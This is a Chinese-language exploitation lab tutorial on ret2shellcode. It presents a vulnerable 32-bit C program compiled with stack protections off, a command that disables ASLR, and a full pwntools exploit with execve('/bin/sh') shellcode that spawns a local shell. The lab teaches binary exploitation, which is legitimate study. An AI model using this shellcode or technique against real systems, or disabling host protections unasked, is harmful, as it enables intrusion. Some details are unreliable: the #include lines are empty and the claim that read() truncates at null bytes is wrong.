2. 栈溢出进阶

任务目标

本案例要求你在关闭 NX(No-eXecute)保护的 32 位 Linux 程序中,通过栈溢出将 shellcode 写入栈区,并劫持返回地址跳转至 shellcode 执行,从而获得 shell。完成本案例后,你将掌握 ret2shellcode 的核心利用思路:定位溢出点、布置 shellcode、计算栈地址并精确覆盖返回地址。

环境与依赖

  • 操作系统:Ubuntu 20.04+(或任意 Linux 发行版)
  • 编译工具:gcc、gdb、python3、pwntools
  • 关闭 ASLR(地址随机化):echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
  • 编译选项:-fno-stack-protector -z execstack -no-pie -m32

漏洞程序

以下为存在栈溢出的目标程序。它读取用户输入并拷贝至 64 字节的缓冲区,未做边界检查,导致可覆盖返回地址。

```c #include #include void vulnerable() { char buf[64]; read(0, buf, 200); // 存在溢出 } int main() { vulnerable(); return 0; } ```

编译命令:

```bash gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c ```

确认保护状态:checksec vuln 应显示 NX: disabled 且 Stack: No canary found。

利用思路与完整 Exploit

利用步骤:

  1. 确定溢出点到返回地址的偏移量(本例为 76 字节:64 字节缓冲区 + 12 字节填充)。
  2. 在缓冲区起始处放置 shellcode(使用 23 字节的 execve("/bin/sh") shellcode)。
  3. 用 nop 雪橇填充 shellcode 与返回地址之间的空隙,提高命中率。
  4. 覆盖返回地址为 buf 的栈地址(需在调试器中获取)。

以下为完整 exploit 脚本:

```python from pwn import * context.arch = 'i386' context.log_level = 'error' # 连接本地进程 p = process('./vuln') # 23 字节 execve("/bin/sh", NULL, NULL) shellcode shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # 获取 buf 的栈地址(需通过 gdb 或 core dump 获取) # 示例:在 gdb 中 break *vulnerable+? 后查看 $esp,或使用 pattern 计算 buf_addr = 0xffffd0a0 # 替换为实际地址 payload = b'\x90' * 20 # NOP 雪橇 payload += shellcode # shellcode payload += b'A' * (76 - len(payload)) # 填充至返回地址 payload += p32(buf_addr) # 覆盖返回地址为 buf 地址 p.send(payload) p.interactive() ```

获取栈地址的方法

由于关闭了 ASLR,栈地址固定。使用 gdb 获取:

```bash gdb ./vuln (gdb) break *vulnerable+20 (gdb) run < /dev/null (gdb) print $esp ```

记下输出的地址,即为 buf 的起始地址(可能需微调 ±8 字节)。将上述 exploit 中的 buf_addr 替换为该值。

验证与判定标准

  1. 运行 exploit:python3 exploit.py。
  2. 若成功,你将获得交互式 shell,输入 whoami 或 id 能看到当前用户输出。
  3. 若失败,程序会报 Segmentation fault。此时检查:
  • 偏移量是否正确(可用 pattern 工具验证);
  • buf_addr 是否准确(在 gdb 中确认);
  • NX 是否确实关闭(readelf -l vuln | grep GNU_STACK 应显示 RWX)。

常见问题

  • 栈地址不准确:由于环境差异,gdb 中看到的地址可能与实际运行有偏差。可在 exploit 中尝试 buf_addr ± 16 范围内的多个值。
  • shellcode 失效:确认 shellcode 无空字节(\x00),否则会被 read 截断。
  • 偏移量错误:使用 pwntools 的 cyclic 功能生成模式串,通过 gdb 查看崩溃时的 EIP 值来确定精确偏移。

本案例核心在于理解栈布局与返回地址劫持。成功执行 shellcode 后,即完成了对 NX 关闭程序的利用闭环。